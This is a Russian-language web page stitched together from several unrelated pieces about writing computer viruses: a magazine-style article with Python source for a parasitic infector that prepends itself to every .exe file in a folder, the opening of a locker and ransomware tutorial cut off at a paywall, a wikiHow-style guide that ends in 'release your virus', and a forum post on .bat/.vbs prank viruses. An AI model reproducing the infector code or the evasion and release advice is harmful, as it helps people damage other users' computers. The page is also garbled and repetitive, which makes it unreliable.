Как сделать вирусы для пароля

Обновлено: 13.05.2024

Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…

Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.

Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.

В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.

Код HLLP-вируса

import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:

namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:

os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');

Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.

После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:

а перед этим выполняется команда

Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').

Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.

Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.

Главное для нас — продемонстрировать принцип работы.

Сетевой червь

Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.

Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.

Отправка письма

Отправка письма с вложением

Несколько замечаний

В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().

Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.

Заключение

Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).


Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно ты попрактикуешься в использовании этого языка и сможешь применять полученные знания в других целях. К тому же малварь на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на нее внимание.

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давай сразу договоримся: запускать все, что мы здесь описываем, ты будешь только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Настройка среды

Дополнительно установим несколько модулей, которые будем использовать:

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

Локер

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Теперь возьмемся за основную часть программы.

Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу ( sleep ) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давай настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

Продолжение доступно только участникам

Вариант 2. Открой один материал

Валерий Линьков

Дипломированный специалист Cisco, инструктор Cisco Networking Academy, основатель первой в Москве академии Cisco на базе предприятия, автор технических статей посвящённых национальной безопасности России, сисадмин, ИБшник, питонист, гик

wikiHow работает по принципу вики, а это значит, что многие наши статьи написаны несколькими авторами. При создании этой статьи над ее редактированием и улучшением работали, в том числе анонимно, 12 человек(а).

Вам когда-нибудь хотелось создать собственный вирус, возможно для обучения или для забавы? На создание вируса уйдет время и потребуются знания, но на это способен каждый человек, если захочет. Создание вируса может научить вас основам программирования на определенном языке, а также знаниям операционных систем и сетевой безопасности. Посмотрите Шаг 1, чтобы начать.

Изображение с названием Create a Virus Step 1

  • Mac OS X и Linux считаются более защищенными от вирусных атак (связано с работой прав доступа и архитектурой операционной системы). 95% всех вирусов нацелены на пользователей Windows.

Изображение с названием Create a Virus Step 2

Изображение с названием Create a Virus Step 3

Найдите слабое место для атаки. Успешные вирусы используют слабые места в программах и системной безопасности, чтобы работать и распространяться. На это уходит много исследований и знаний, но существуют специализированные сообщества, которые могут с этим помочь.

Изображение с названием Create a Virus Step 4

Изображение с названием Create a Virus Step 5

  • Если вы хотите создать исполняющие вирусы, то поищите курсы C и C++ в интернете.
  • Если вы хотите создать макро вирусы, то выучите язык макросов для нужной программы, например, Microsoft Office.
  • Visual Basic может быть использован для создания вредоносных программ для пользователей Windows.

Изображение с названием Create a Virus Step 6

  • Узнайте о полиморфном коде. Это изменит код вашей программы после каждой реплики, скрывая вирус от антивирусных программ. Полиморфный код будет довольно продвинутым шагом, который создается различными способами в разных языках программирования.

Изображение с названием Create a Virus Step 7

Узнайте о способах спрятать ваш код. Кроме полиморфного кода, существуют способы спрятать ваш вирус. Шифрование является очень популярным инструментом среди разработчиков вирусов. На это уходит много времени и чтения, но в результате вы сможете защитить и продлить жизнь вашему вирусу.

  • Постарайтесь проводить тесты в закрытой сборке так, чтобы избежать случайного попадания вашего вируса в сеть. Поставьте тестовые машины в отдельную сеть и протестируйте распространение вируса.
  • Улучшайте код вашего вируса по ходу тестирования. Работайте над ошибками вашего кода.

Изображение с названием Create a Virus Step 9

Выпустите ваш вирус. Если вы удовлетворены работой вашего вируса, то настало время его выпустить. Но до того, подумайте, готовы ли к последствиям, которые возможны из-за вашего вируса. Возможно вам стоит использовать ваши знания и работать над другими проектами. [2] X Источник информации

И так друзья, в связи с тем, что под моим прошлым постом собралось много положительных комментариев от многоуважаемых читателей.

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Рейтинг моего профиля возросла на глазах.

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Мои комментарии и ответы набирали во тысячи плюсиков.

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Мне говорили, что у них все работает, все получилось.

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

И поэтому я решил. Сделать продолжение. Наслаждайтесь :3

И так, в этом посте я конкретно расскажу про два формата: .bat и .vbs

Начнем с того, что разница в этих форматах принципиальная.Если сохранить команду в .bat, то компьютер будет выполнять то, то вы написали. Например написали команду для выключения компьютера. Сохранили в расширении .bat Если вы откроете этот файл, то ваш комп выключится, т.к. это было написано в программе. И сразу предупреждение: нельзя скрещивать в одной команде .bat и .vbs! У вас либо заглючит комп, либо начнет выполнять все команды одновременно и сломается.

Расширение .vbs это последовательное выполнение действий. Например в коде вы написали:

msgbox"Нажмите да или нет",32+4,"Выбор"

Если вы сохраните этот текст в .vbs , то при открытие у вас откроется вот такое поле:

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

При любом нажатии на кнопку (да,нет,крестик) окно закроется. Но! Если вы добавите в код что-то после первого окна, то при любом нажатии на кнопку (да,нет,крестик) у вас откроется следующее окно. Добавим одну строчку и получится вот это:

msgbox"Нажмите да или нет",32+4,"Выбор"

msgbox"Нажмите ок для продолжения.",64,"Нажмите!"

Создаем вирус-шутку через блокнот №2 Продолжение, Вирус, Юмор, Вирус-шутка, Длиннопост, Обучение, Блокнот, Спасибо

Этот код можно продолжать бесконечно. Главное не написать лишний символ/цифру. Никто вам не покажет, где ошибка. Код просто не запустится.

Думаю разница между двумя форматами понятна.

Также через формат .vbs можно полностью сломать комп, отключить Интернет, заблокировать Вконтакте, отключить мышку и клаву (навсегда!), сделать так, чтобы системник бесконечно пищал и т.д.

В конце поста будет ссылка на один сайт, где написаны команды для .bat вирусов.

Также удобность этих форматов в том, что если вы только начинаете создавать вирусы, новичок, то вы легко можете скопировать любой код, изменять там текст и использовать его. В кодах все интуитивно понятно. Что за что отвечает, что где писать. В следующем посту я накидаю сайтов, где вы сможете узнать как менять картинку в окне, что писать для того, чтобы в окне было "ок","продолжить" и т.д., что нельзя писать, как командой открыть файл, как сделать вирус-спамер и другое.

Окей, мой пост заканчивается. Чуть позже я более подробно расскажу про коды, про различные команды.

Читайте также: